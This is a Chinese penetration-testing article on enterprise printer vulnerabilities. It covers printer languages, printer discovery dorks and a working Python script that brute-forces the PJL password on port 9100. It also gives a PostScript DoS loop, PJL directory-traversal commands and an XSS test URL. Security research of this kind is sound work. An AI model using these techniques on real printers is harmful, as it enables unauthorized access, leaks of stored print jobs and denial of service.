不可忽视的打印机漏洞研究
0×01 前言
经过最近一段时间测试,发现企业内网打印机存在多种漏洞,同时也经常被大家所忽略,因此才有本文的研究。当一台打印机连接网络,可以进行端口扫描、读写上传恶意文件、反弹shell,相当于一台服务器。
常见攻击,信息泄露,如访问内存,可能发现密码或打印文件中的敏感数据,访问文件系统,泄露配置文件或存储的打印作业;DOS;远程代码执行漏洞RCE,通过缓冲区溢出漏洞,构造恶意数据包,使打印机执行恶意代码,将固件更新为含有恶意的固件;打印任务控制,修改打印内容等。
0×02 打印机语言
在研究打印机前有必要熟悉打印语言,网上各种介绍打印机语言,大家看的会比较混乱,比如有时候是打印机描述语言,有时候又叫打印机控制语言。下面以本人的理解去介绍打印机语言,其实打印机语言按分类是有两类,一种是页面描述语言(PDL),另一种是嵌入式语言(Escape码语言),而HP的PCL控制语言和PostScript(以下简称 PS)都属于PDL页面描述语言。
PS与PCL介绍
PS、PCL等打印语言其实是一个命令集,它告诉打印机如何组织被打印的文档。打印机驱动程序把这些命令嵌在打印数据中传给打印机,而不是单独传送,并由打印机的打印控制器再分开解释。
PCL网上介绍的都差不多,PCL对计算机系统资源占用也较少,同时对字库、图像的解释能力较强等,关键还是把本文前面部分弄懂,否则会很混乱,不利于对打印机的漏洞研究。
对比
PCL在处理文本、文档方面比较出色(已支持图形功能),速度明显,但是打印质量与PS差距不大,PS在处理打印大的文件,如PDF、Photoshop等软件下打印大的图形图像文件有速度优势,准确度、色彩方面比PCL强。所以 PCL语言适用于普通的商务办公应用,PS适用于对图形和色彩准确度要求比较高的专业应用。
工作流程
在计算机上将打印内容位图格式解释成标准的页面描述文件,为PostScript、PCL等格式,这种文件被传到打印机的控制器中,控制器将页面描述文件,发送给光栅图像处理器 (Raster Image Processor),把PostScript、PCL格式解释成位图格式,打印机才可以打印位图格式的图像。
PJL
打印任务语言(PJL)用于指导打印机行为,利用PJL语言可以对打印任务执行管理性的更改设置,对打印文件形成有限管理控制,例如,在打印机文件系统下用户不经常留意的以下特定位置中,它可对打印文件执行存储删除操作。
其它打印机语言是PCL的扩展,如打印机作业语言PJL是 PCL的扩展,用于控制打印机的行为,上面提到PCL只处理内容,扩展的PJL则可以永久性的修改设备的设置,如印纸张大小和数量。而 PJL可以被用来执行DoS攻击、打印页面控制、读取文件系统和内存,甚至恶意固件更新。供应商往往只支持PJL 控制语言中的部分命令,并根据打印机的需要自行添加专有的功能。
PPD
PS、PCL都是一种与设备无关的打印机语言,它们只处理打印的内容,而与设备相关的分辨率、纸张大小它们不处理。PS 、PCL可以将打印内容解释成页面描述文件,这个文件会被控制器解析并打印。但是对譬如分辨率、纸张大小、进纸盒进行选择时,调用的是打印机描述(PostScript Printer Description ,即PPD)文件来实行各种打印机的不同特性,PS、PCL 语言在打印的时候,即定义图像时根本不用去考虑打印机的分辨率、纸张大小,由打印机的PPD文件来决定,给处理字体带来了极大的灵活性。
PPD文件主要提供以下与打印机有关的特定信息::默认/ 最高分辨率,是否支持半色调监控,用户设定的监控信息,页面大小定义,页面可打印区域,默认字体(通常为Courier),是否支持双面打印等等。每一种不同的 PostScript打印机都分别对应有专门的PPD文件。
关于PostScript仿真,因为目前使用PostScrit语言需要向 Adobe公司支付一笔费用,成本较高,因此才有与PostScript完全兼容的PostScript仿真,像 HP公司的一些激光打印机中使用的PostScript仿真,也无需再支付Adobe公司相应的费用。
利用
PS可以用于各种攻击,例如拒绝服务,打印作业处理和保留以及访问打印机的文件系统等恶意操作。
打印机指令语言PCL很难被攻击利用,该页面描述语言不直接访问底层文件系统,因此和PS相比,该描述语言并不是很适合用于攻击的目的,不过PCL的扩展PJL容易受到攻击,下文基本上是基于PJL。
0×03 探测打印机
1.namp-A 192.168.1.*
主要查看开放哪些端口,并检测操作系统指纹,一般开放如下端口、服务为打印机:
2.Savins打印机发现
SmartDeviceMonitor工具,可以搜索Savins打印机,去官网下载:
3.JetDirect打印机
JetAdminJetAdmin可用来控制、搜索JetDirect打印机,可快速找出子网中的JetDirect打印机,它通过SNMP广播网络来定位打印机。
4.ARP协议扫描
NMAP、Cain,通过MAC地址发现 Hewlett Packard、Ricoh或其它厂商的MAC地址。
nmap -R192.168.1.0/24
5.谷歌搜索
打印机的WEB登陆链接放置在内网站点上,易于他们管理或存储文档,但有时内网并不是真正处于内网中,但可以通过互联网访问到。
Ricoh Savins(由于打印机频繁地存储文档,导致被下载,这确实是一个真正的安全杀手):
intitle:"web image monitor"
"/web/user/en/websys/webArch/mainFrame.cgi"
inurl:"/en/sts_index.cgi"
HP Jetdirects (各型号均不相同)
inurl:hp/device/this.LCDispatcher
CUPS Connected Printers
inurl:":631/printers" -php -demo
6.其它搜索
shodan搜索,device:printer。
钟馗之眼搜索,service:”jetdirect”。
0×04 漏洞挖掘
PJL密码爆破
若打印机的9100端口向公网开启,在向打印机发送PJL指令之前需要对使用者的身份进行认证,认证程序的密钥长度为2字节(Byte),通过爆破可以将 PJL 的密码安全保护禁用,最终执行任意PJL命令。如果直接通过9100端口执行PJL命令,说明存在未授权访问。
PJL是打印控制语言PCL的扩展。文章前面部分已经介绍过,这里是针对认证PJL的爆破,否则无法使用PJL命令。危害:通过 PJL 除了能够查看和更改打印机状态之外,还可以对打印机内置的文件系统进行访问,进而可绕过密码验证通过 PJL 对打印机内置的文件系统进行读写。文件系统包含后台处理打印作业、收到的传真、日志文件和配置文件。
9100端口一般为JetDirect的端口,JetDirect虽然是惠普设计的,但是众多打印机都使用该软件,包括Canon、Lexmark、Samsung和Xerox。该软件负责处理通过网络提交的打印请求。网络打印机通过JetDirect协议,侦听,接收打印请求数据。
如下是PJL密码存储格式:
@PJL JOB PASSWORD=0
@PJL DEFAULT PASSWORD=12345
@PJL DEFAULT DISKLOCK=ON
@PJL DEFAULT CPLOCK=ON
可通过 内存和文件系统读取获取密码,或暴力破解。
爆破代码python3如下:
import socket
import sys
def main():
if len(sys.argv)<=1:
print('Parameters error')
return
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((sys.argv[1],9100))
s.settimeout(None)
# 发送读取设备ID的PJL指令
s.send(('33%-12345X@PJL INFO ID\r\n33%-12345X\r\n').encode('UTF-8'))
print(s.recv(1024).decode('UTF-8'))
for i in range(1, 65536):
buf = b''
# 发送重置密码的PJL指令
s.send(('33%-12345X@PJL \r\n@PJL JOB PASSWORD=' + str(i) + '\r\n@PJL DEFAULT PASSWORD=0 \r\n@PJL EOJ\r\n33%-12345X\r\n').encode('UTF-8'))
if i%30 == 0:
# 发送查询密码保护状态的PJL指令
s.send(('33%-12345X@PJL \r\n@PJL DINQUIRE PASSWORD\r\n33%-12345X\r\n').encode('UTF-8'))
while True:
buf += s.recv(1)
print(buf)
try:
buf.index(b'\r\n\x0c')
try:
# 密码保护被禁用
buf.index(b'DISABLED')
print('password disabled ok!')
# 发送查询目录的PJL指令
s.send(('33%-12345X@PJL \r\n@PJL FSDIRLIST NAME = "0:\\" ENTRY=1 COUNT=99\r\n33%-12345X\r\n').encode('UTF-8'))
buf = b''
while True:
buf += s.recv(1)
print(buf)
try:
buf.index(b'\r\n\x0c')
try:
# 查询成功
buf.index(b'ENTRY')
print('PoC OK!')
return
except ValueError:
print('PoC NO!')
return
except ValueError:
continue
except ValueError:
print('password disabled faild!')
finally:
s.close()
return
except ValueError:
continue
s.close()
if __name__ == '__main__':
main()
返回password disabled ok!,说明成功禁用PJL密码保护。
此脚本先爆破PFT密码保护,如果爆破成功,然后执行查询磁盘的PJL命令,当然也可只用PFT工具,文章后面部分会讲PFT。
DOS
当向打印机9100端口发送任何数据,打印机都可将其打印出来,文章前部分发现,9100端口还支持原始打印、PCL、PostScript和PJL,即可以通过9100端口执行PJL。当执行DOS,则可无限循环打印任务,导致打印任务不断执行,资源耗尽,无法执行打印操作。按个人理解简单点说,就是当发起打印任务时,打印机等任务发起结束,才会执行下一步的打印操作,如果一直循环打印任务,则无法到达下一步。通过几行PostScript代码实现DOS。
PS代码实现的循环:
%!
{} loop
路径遍历漏洞-案例分析
这不是针对某个型号的漏洞,算是打印机的一个通用漏洞,可以通过../等进行目录穿越,对文件进行读取和写入,不过并不是所有的目录文件都可读写,当发现无法读写时,可继续切换其它目录测试,可能存在可读写的文件,从而泄露敏感文件,如“Jobs”目录中存储的就是打印任务,可以通过PFT 、PRET工具包读取存储在其中的任何打印任务。
如果允许 PJL 命令访问该设备的文件系统,远程攻击者可以借助 PJL 读取任意文件,远程连接打印机并进行遍历目录操作。这里借用个人之前的案例演示,通过9100端口执行PJL命令,并且未授权访问打印机。在学习之前,需要熟悉PJL命令。如下是本人对PJL命令的整理:
@PJL FSDELETE NAME = “pathname” [<CR>]<LF> # 删除文件
@PJL FSDOWNLOAD FORMAT:BINARY [SIZE=int] [<CR>]<LF> # 下载文件到打印机
@PJL FSINIT VOLUME = “pathname” [<CR>]<LF> # 初始化打印机文件系统
@PJL FSMKDIR NAME = “pathname” [<CR>]<LF> # 创建目录
@PJL DINQUIRE CPLOCK # 检查控制面板状态
@PJL DINQUIRE PASSWORD # 检查密码保护状态
@PJL JOB PASSWORD = [Number:0 to 65535] # 当前密码保护密码
@PJL DEFAULT PASSWORD [Number:0 to 65535] # 修改保护密码
@PJL DEFAULT CPLOCK = [ON, OFF] # 控制面板状态
@PJL SET IOBUFFER = [ON, OFF, AUTO] # 设置缓冲区
@PJL SET IOSIZE = [10-100] # 设置缓存区大小
@PJL SET PCNAME = [String] # 设置计算机名称
@PJL SET HOLD = [ON, JOB, STORE, PROOF] # 设置文件保存
@PJL SET HOLDKEY = [Number:0000 to 9999] # 设置保存文件密码
@PJL DEFAULT DISKLOCK = [ON, OFF] # 设置硬盘锁定状态
@PJL SET SPOOLTIME # 设置打印日期
@PJL SET COPIES # 设置打印数
@PJL SET JOBNAME # 设置打印机文件名称
@PJL SET RESOLUTION # 设置分辨率
@PJL SET DRIVERNAME # 设置驱动
@PJL USTATUS JOB # 输出 队列中还未打印任务的 状态
@PJL COMMENT # 添加注释
@PJL SET OUTTRAY #出纸盘(纸张输出位置)
@PJL SET ORIENTATION = [PORTRAIT, LANDSCAPE] #页面方向
@PJL SET DUPLEX = [ON, OFF] #双工模式(双面打印)
@PJL SET BINDING = [LONGEDGE, SHORTEDGE] #双工模式:短边、长边
@PJL RNVRAM ADDRESS #读取内存
@PJL OPMSG DISPLAY #设置打印机离线脱机
@PJL SET SERVICEMODE #设置服务模式
@PJL WNVRAM ADDRESS #写入内存
@PJL FSDIRLIST NAME #读取目录
@PJL FSQUERY NAME #读取文件
@PJL FSUPLOAD NAME #文件上传
@PJL FSDOWNLOAD #写入文件
1.@PJL FSDIRLIST NAME=”0:/” ENTRY=1 COUNT=1024
上图发现目录名称是 0:/,有两个目录,一个是本地目录./,一个是../目录。
2.读取 ../ 目录,发现其下有7个,./代表本目录
@PJLFSDIRLIST NAME=”0:/../” ENTRY=1 COUNT=1024发现有:
.TYPE=DIR
..TYPE=DIR
DataTYPE=DIR
JobsTYPE=DIR
TempTYPE=DIR
BrowserTYPE=DIR
PDLTYPE=DIR
3.读取Data目录
发现有Data、jobs目录,这里演示访问其下的Data目录,发现Data目录存在这些目录文件。
@PJLFSDIRLIST NAME=”0:/../data” ENTRY=1 COUNT=1024发现Data目录存在这些目录文件:
.TYPE=DIR
..TYPE=DIR
DataContractTYPE=DIR
CustomerDataDBTYPE=DIR
总结:
目录遍历除了可读取文件之外,还可写入,但是并不是所有的文件都可写入,寻找可写入的文件,如向启动脚本写入代码,重启即可执行代码反弹shell,这里我当时时间有限,遍历几个目录没有发现启动脚本,不然只要可写入就能反弹shell。
路径遍历案例:
中国移动某省公司打印机未授权访问已成功下载移动内部资料(保密承诺书?)
https://www.secpulse.com/archives/33663.html
PFT工具
根据文章前面部分,也大概知道了打印机攻击是基于打印机语言命令,如输入PJL命令造成相关,需要掌握PJL命令,输入PJL命令比较麻烦,这里有一个强大的打印机框架工具PFT, 而使用PFT工具可以无需掌握PJL命令,每一个参数已内置打印机语言,只需要调用对应参数来利用,配合help查看。
使用教程:
1.PFT连接到打印机
pft> server 192.168.15.200
Server set to 192.168.15.200
pft> port 9100
Port set to 9100
pft> connect
Connected to 192.168.15.200:9100
Device: hp LaserJet 4250
2.PFT清除PJL程序保护
清除成功之后,也能登录web控制台页面。
pft> env bruteforce
try 30
INFO: force_recv_clear() timed out for 270bytes (10 sec)
Password disabled successfully
3.查看硬盘文件
一般高级的打印机会有硬盘,如下命令查看有哪些盘符。
pft> volumes
Volume Size Free Location Label Status
0: 12619776 11786240 RAM ? READ-WRITE
4.ls查看文件
pft> ls
0:\
. - d
.. - d
PostScript - d
PJL - d
saveDevice - d
webServer - d
5.将文件下载到本地get 文件名
HP JetDirect打印机存储型XSS
攻击者必须访问HP镭射打印机配置页面,”Product_URL”和”Tech_URL”参数 存在漏洞,对应CVE号:CVE-2012-3272。
点击“Apply”按钮,跳转到支持页面中(support.htm),出现弹框。
测试方法:
http://[server]/support_param.html/config?Admin_Name=&Admin_Phone=&Produ
ct_URL=[XSS]&Tech_URL=[XSS]&Apply=Apply
打印控制任务
PERT连接到打印机,并尝试利用打印机所使用的打印机语言(目前支持PS,PJL和PCL),如python pret.py IP PS可尝试调用打印机PS语言进行操作,一旦使用PRET连接到打印机中的一个功能,我们将可以做很多事情。例如检查文件系统,创建目录,更改配置文件、dump整个NVRAM。
如输出打印“Foo”,执行cross topsecret Foo:
固件漏洞
如果打印机不存在PJL命令执行漏洞,可针对固件漏洞测试,通过nmap发现固件版本,Linux_Exploit_Suggester.pl查询内核版本漏洞。
执行perl Linux_Exploit_Suggester.pl -k 2.6.31:
PS:该工具只能查询内核3.4.4之前的漏洞信息。
github下载
https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
0×05 总结
从打印机语言到PJL命令执行等漏洞分析,包括打印机挖掘思路以及案例分析,总结了目前常见的打印机漏洞,其它的高级应用也是基于这些原理基础上,这里不讲PRET工具使用,网上有很多PRET使用教程。需要提醒一下,大家不要随便乱用工具来扫打印机,否则会打印出很多请求数据包,浪费大量的纸张。因为这些脚本在端口9100/tcp检测系统版本时,会发送探针请求,判断9100上运行的是何种服务,由于JetDirect并不知道它发送的是什么数据,因此会打印出探测报文,最后会打印出一堆垃圾数据。
原文链接:https://www.freebuf.com/articles/web/205636.html